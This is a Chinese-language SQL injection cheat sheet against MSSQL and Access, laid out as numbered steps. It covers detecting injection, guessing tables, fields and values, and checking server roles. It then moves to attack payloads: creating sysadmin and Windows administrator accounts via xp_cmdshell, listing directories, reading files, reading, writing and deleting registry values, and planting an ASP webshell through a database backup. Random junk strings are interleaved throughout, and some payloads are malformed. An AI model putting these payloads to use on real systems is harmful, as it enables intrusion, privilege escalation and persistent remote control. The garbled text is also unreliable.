1.判断是否有注入;and 1=1 ;and 1=2 X%B2xQM5
2.初步判断是否是mssql ;and user>0 n{c-3w.uD
gaL.5_1
3.注入参数是字符'and [查询条件] and ''=' HNfd[#gV
]}_Ohe]X
4.搜索时没过滤参数的'and [查询条件] and '%25'=' S8]YS@@D
OnE~0+
5.判断数据库系统 lJ4/bL2I/
VZA>ErB
;and (select count(*) from sysobjects)>0 mssql "fd'~e$S#
+j6^g*
;and (select count(*) from msysobjects)>0 access Psjk
7\
mi sPJO&QD
L i`OaP$
P?iQ{x}w~
6.猜数据库 ;and (select Count(*) from [数据库名])>0 k )fLJ9R
k,[[
CZ0j
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 jouT9~[L'
7)Bizlf
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 YzAGhAyw
^c>ROpic
9.(1)猜字段的ascii值(access) X.ZY1vO
kmsgaB7?
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 >vQKCc|93
z8w@pT
(2)猜字段的ascii值(mssql) 4({Wipd
(_~Dyvo
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 x[YW 3nF
Dt+uf5o(
10.测试权限结构(mssql) fu`|@S
}cI _$
i}ti
to'O;f">n
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ot,e?lF
j|(bdTZY:
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- xo(3<1mD
Kdb:Q0B
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- %@[ ~s,6<
_VAX~Y]
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- + WFa4NZ
&0@AM_b
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- BQ77n2(@
@?<1~/sfL
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- o7s<G8;?
EoHrXv
;and 1=(select IS_MEMBER('db_owner'));-- :.NCS`z_
Q!}LtR$
ln=:E$jX
JAcNjzL
11.添加mssql和系统的帐户 r*4@S~;
Gw}b8N6E
;exec master.dbo.sp_addlogin username;-- eop7=!`-~~
;exec master.dbo.sp_password null,username,password;-- H=7Nh6v
X0gWTs
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- HpTX6}^
&$E.rgtg
;exec master.dbo.xp_cmdshell 'net user username password Sc3 B*.
Ewczq1%l:
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- a'A'%+2
E,:E u<
;exec master.dbo.xp_cmdshell 'net user username password /add';-- T6p2=o&p
\I`g[nT|
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- RiM!LX
Z?tw#n[T
q| 7$@H^*
]u@`XVEJ
12.(1)遍历目录 ,*'aH z
9jTm g%
;create table dirs(paths varchar(100), id int) -
-H%FYF`
}=JuC+#~n
;insert dirs exec master.dbo.xp_dirtree 'c:\' K
yFR;.F-
Cu+u'&U!
;and (select top 1 paths from dirs)>0 Wc-8j2M
DANndXQLH
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) xSoXf0zq:
t+Rt*yjO
2w? 5vSv
LS4|$X4H`!
(2)遍历目录 ZRo-=/1
%G>V .d
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- +zn207.`
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 y153ax
i7(\i2_P
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 1(12`3
f$^+;j
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 N:Zf4
CHRO9
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 0ge^pO\Z
'=eE6=m^K
=3Hv
koAM",5D
13.mssql中的存储过程 !~~j&+hK\
Nt#a_
xp_regenumvalues 注册表根键, 子键 ,HM~Zs
PofHe
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 *X4$'LSx1
nmrYB w>
xp_regread 根键,子键,键值名 &,B91H*#
X}gnO83
;exec xp_regread lm;G8IP`
P?P))UB5
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 X@n\~[.B
DfQD!}=
xp_regwrite 根键,子键, 值名, 值类型, 值 kbkq.fYr
b_JW3l
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 P7iU_CgyW
>av.pJ(>
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 I^z$0
YQ+Kl[ec
xp_regdeletevalue 根键,子键,值名 nE)|6
$ (gR^L
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 U@$=0*
nBVknyMFNF
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Hf'yRKACj
>xt*( j&}
9#;UQ.qA
+i[w& P
14.mssql的backup创建webshell ^:RDu q
,T|%vqbmw
use model *ppb4R;CW
69v[*InSd
create table cmd(str image); -~HlME*~f
?Ze3t5Ll
insert into cmd(str) values (''); (Rc0 l;
/e5Fx
backup database model to disk='c:\l.asp'; ^gdg0y!5~
[i '\d}
UI4Xv
)^&)f!f
15.mssql内置函数 ,QpDz{8
W&>+~A
;and (select @@version)>0 获得Windows的版本号 ]rh)AE!Y(
CDcs~PR@B
;and user_name()='dbo' 判断当前系统的连接用户是不是sa \?} {wh8
uxto:6),P<
;and (select user_name())>0 爆当前系统的连接用户 bz~-uHC
8<g_JW[%
;and (select db_name())>0 得到当前连接的数据库 wBcDL/(>
e;=G|E
"z }bgy
uREc9z`Q'
16.简洁的webshell V,uhBMT#
Dz&4za+{
use model rrSA.J{
r)mm8MI!Z
create table cmd(str image); Jz#ZDZkm
@ %z5]w
insert into cmd(str) values (''); f (
`.q
jkNZv. )p
backup database model to disk='g:\wwwtest\l.asp';